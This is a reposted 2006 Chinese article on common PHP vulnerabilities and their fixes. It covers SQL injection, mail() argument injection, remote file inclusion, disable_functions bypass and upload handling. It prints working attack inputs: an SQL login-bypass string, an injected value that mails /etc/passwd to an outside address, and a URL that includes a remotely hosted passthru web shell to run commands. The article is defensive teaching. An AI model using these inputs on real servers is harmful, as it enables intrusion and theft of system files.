分享
 
 
 

对PHP程序中的常见漏洞进行攻击之狗尾续貂

王朝php·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒,考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是攻击。

1、古老的欺骗SQL语句

在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。这样所有从GET/POST/Cookie来的变量的单引号(‘)、双引号(")、反斜杠backslash(\)以及空字元NUL(the null byte)都会被加上反斜杠,以使数据库能够正确查询。但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:

select * from login where user=‘$HTTP_POST_VARS[user]‘ and pass=‘$HTTP_POST_VARS[pass]‘

我们就可以在用户框和密码框输入1‘ or 1=‘1通过验证了。这是非常古董的方法了,这个语句会替换成这样:

select * from login where user=‘1‘ or 1=‘1‘ and pass=‘1‘ or 1=‘1‘

因为or 1=‘1‘成立,所以通过了。解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL中的变量加一个自定义的函数:

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是为了你的程序能安全移植在各种系统里。

2、mail函数的第五个参数

在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");

这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送到我的信箱了。

这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的基本功能,理解了就可以了。

对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然后重新编译。

3、UNIX版的require, include函数

win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。

我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,而且有时用变量作为参数,比如:include("$something"); 如果这时用户能控制$something参数,而这个参数又没有过滤,那就惨拉。

首先可以看任何web用户有读权限的文件,假设这个程序叫http://victim/test.php,这样我们就可以用如下url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

另外可以利用其远程文件包含的功能执行命令。比如我在www.xfocus.org下建立一个文件test.php,内容是:<?passthru($cmd)?>,那么我就可以用如下的url:

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname

这种方式运行任意的命令。

phpMyAdmin也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在include前,先用file_exist函数判断文件是否存在,而这个file_exist是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们可以利用apache的日志功能,请求一个带php代码的url,这样,something指定为apache的日志也可以执行命令了,但是apache的日志通常比较大,有太多杂乱信息。http://www.securereality.com.au/sradv00008.txt提到的办法比较巧妙,用file upload的方式把本地的执行命令的脚本上传,会在服务器的文件上传临时目录里产生php8Ta02I之类的文件名,由于这时文件是存在的,所以能通过file_exist函数,从而执行上传文件里的执行脚本。

所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off来关闭。

4、disable_function

在php-4.0.1,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候只会提示Warning: system() has been disabled for security reasons.

唉,但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令:

<?

$output = `ls -al`;

echo "<pre>$output</pre>";

?>

这个只有设成safe_mode才能避免,可是可恶的safe_mode实在是限制太多了,做其它事情也有些碍手碍脚。

5、file upload

php文件上传的问题在文章http://www.securereality.com.au/sradv00001.html里已经描述的很清楚了,这的确是个比较严重的问题,一般我们要上传的文件也会放在web目录,所以容易给攻击者得到系统的一些web用户能读的文件。

幸亏在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数。所以php-4.0.3以上的上传文件的程序一定不要再用copy函数了,用move_uploaded_file代替,它会检查是否是上传的文件。如果是php-4.0.2及以下的,建议在copy前加一个函数:

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var(‘upload_tmp_dir‘)) {

$tmp_file = dirname(tempnam(‘‘, ‘‘));

}

$tmp_file.=‘/‘.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace(‘/+‘, ‘/‘, $tmp_file) == $filename);

}

这个漏洞在安全焦点呆了很久,只是在copy之前有很多验证阿、判断阿的语句,所以使之攻击存在相当的难度,赫赫。

还有,千万不要以环境变量、Cookie变量、session变量等作为关系生死的判断条件,因为这些变量太容易被伪造了。

呵呵,手头事情比较多,其它慢慢想到了再加吧,也欢迎其他同志任意的添加修改之。

参考文献

1、PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)

2、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications

(http://www.securereality.com.au/studyinscarlet.txt)及analysist的翻译。

3、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin

(http://www.securereality.com.au/sradv00008.txt)

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有